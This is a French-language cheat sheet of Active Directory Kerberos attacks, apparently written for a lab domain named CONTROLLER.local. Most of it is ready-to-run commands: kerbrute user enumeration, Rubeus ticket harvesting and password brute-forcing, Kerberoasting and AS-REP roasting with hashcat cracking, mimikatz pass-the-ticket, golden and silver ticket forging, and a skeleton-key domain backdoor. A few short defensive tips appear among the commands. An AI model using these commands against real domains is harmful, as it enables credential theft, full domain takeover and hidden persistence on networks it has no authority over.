Privilège requis par les attaques
Kerbrute Enumeration – Pas d’accès au domaine requis
Pass the Ticket – Accès au domaine comme un usager
Kerberoasting – Accès comme n’importe lequel usager
AS-REP Roasting – Accès comme n’importe lequel usager
Golden Ticket – Domaine compromis complètement (domain admin) requis
Silver Ticket – Service hash requis
Skeleton Key – Domaine compromis complètement (domain admin) requis
Trouver des usagers avec kerbrute
https://github.com/ropnop/kerbrute/releases
chmod +x kerbrute
https://github.com/Cryilllic/Active-Directory-Wordlists/blob/master/User.txt
./kerbrute userenum --dc CONTROLLER.local -d CONTROLLER.local User.txt
Récolter des TGT échangés avec le KDC avec rubeus (tous les 30 secondes)
Rubeus.exe harvest /interval:30
Sur le controleur de domaines
echo 10.10.110.139 CONTROLLER.local >> C:\Windows\System32\drivers\etc\hosts
Rubeus.exe brute /password:Password1 /noticket #essaie tous les utilisateurs avec mot de passe et retourne un tgt (.kirbi). Cela peut bloquer certains comptes dépendemment des politiques
Rubeus.exe harvest /interval:30 #lit le cache des tickets TGT tous les 30 secondes
Kerberoasting
Permet d’obtenir les hash des usagers “kerberoastable”
Rubeus.exe kerberoast
sudo python3 GetUserSPNs.py controller.local/Machine1:Password1 -dc-ip 10.10.10.10 -request #alternative avec impacket sur une autre machine (Linux)
hashcat -m 13100 -a 0 hash.txt dict.txt
Que faire avec les service account ? Si c’est un admin de domaine, vous pouvez obtenir les hashes du NTDS.dit (contrôle similaire è un silver/golden ticket). Si c’est un compte moins privilégié, on peut essayer de se connecter à d’autres ordinateurs et obtenir d’autres accès (pivot) ou on peut utiliser ce mot de passe pour tenter de se connecter sur d’autres comptes (password spraying). Pour protéger son enteprise, il faut utiliser des mots de passe robustes, ne pas les réutiliser et ne pas donner le privilège “domain admin” au service accounts.
AS-REP Roasting
Similaire au Kerberoasting, AS-REP Roasting permet d’obtenir les hashes des comptes usagers qui ont la pré-authentification désactivé. Contrairement au kerberoasting, ces usagers ne doivent pas être obligatoirement des “service” accounts.
Rubeus.exe asreproast
#dans le hash, insérer 23$ après $krb5asrep$ (type Kerberos 5 AS-REP etype 23)
hashcat -m 18200 hash.txt Pass.txt
Pour se protéger, il faut utiliser de bons mots de passe et ne pas désactiver la pré-authentification Kerberos.
Pass the hash avec mimikatz
mimikatz.exe
privilege::debug
sekurlsa::tickets /export on peut aussi utiliser un ticket encodé en base64 obtenu de rubeus
kerberos::ptt thetickethere.kirbi #de préférence krbtgt
klist #pour voir si correctement impersonnifié. Liste le nombre de tickets en cache
Une bonne mesure de précaution ici est de ne pas se connecter è n’importe lequel poste avec le compte admin du domaine.
Attaques Golden/Silver ticket avec mimikatz
Mimikatz est un outil très populaire pour poursuivre l’exploitation. Il permet d’avoir une liste des usagers/hash d’un active directory. Nous utiliserons mimikatz ici pour se créer un silver ticket.
Un silver ticket peut parfois être supérieur à un golden ticket parce qu’il est plus discret. L’approche pour se créer un silver ticket est la même que pour un golden ticket. Par contre, un silver ticket est limité au service à lequel il est destiné tandis qu’un golden ticket peut accéder à tous les services Kerberos.
Par exemple, vous voulez avoir accès à un SGBD, mais l’utilisateur compromis n’a pas accès à ce serveur. Vous pouvez alors trouver un service account qui y a accès et récupérer le service hash et impersonnifier leur TGT pour faire une requête sur le KDC pour un service ticket pour le sereur SQL du domaine .
mimikatz.exe
privilege::debug
lsadump::lsa /inject /name:krbtgt #Pour créer un silver ticket, il faut changer le destinataire du /name: pour un admin du domaine ou un service account (ie : SQLServer)
Kerberos::golden /user:Administrator /domain:controller.local /sid:sid_du_domaine_ici /krbtgt:ntlm_hash_ici /id:500 #golden ticket. voir lsadump::lsa pour le sid du domaine. voir le hash ntlm de krbtgt dans lsa::dump
Kerberos::golden /user:Administrator /domain:controller.local /sid:sid_du_service_account_ici /krbtgt:service_ntlm_hash_ici /id:1103 #silver ticket
misc::cmd #nouveau prompt avec le ticket
Backdoor mimikatz dans la forest du domaine
Cela permet de se connecter aux machines avec un “master password”.
mimikatz.exe
privilege::debug
misc::skeleton # quand la clé est implanté dans le controleur de domaine, il essaie de décrypter le "AS-REQ encrypted timestamps" en utilisant le HASH NT et le hash de la nouvelle clé (les 2), vous permettant ainsi l'accès è la forest du domaine. Backdoor non permettante, car seulement en mémoire. vous devez par exemple, faire un script lors du démarrage du poste (ou autre).
net use c:\\DOMAIN-CONTROLLER\admin$ /user:Administrator mimikatz
dir \\Desktop-1\c$ /user:Machine1 mimikatz
https://medium.com/@t0pazg3m/pass-the-ticket-ptt-attack-in-mimikatz-and-a-gotcha-96a5805e257a
https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/as-rep-roasting-using-rubeus-and-hashcat
https://posts.specterops.io/kerberoasting-revisited-d434351bd4d1
https://www.varonis.com/blog/kerberos-authentication-explained/
https://www.blackhat.com/docs/us-14/materials/us-14-Duckwall-Abusing-Microsoft-Kerberos-Sorry-You-Guys-Don’t-Get-It-wp.pdf
https://www.sans.org/cyber-security-summit/archives/file/summit-archive-1493862736.pdf
https://www.redsiege.com/wp-content/uploads/2020/04/20200430-kerb101.pdf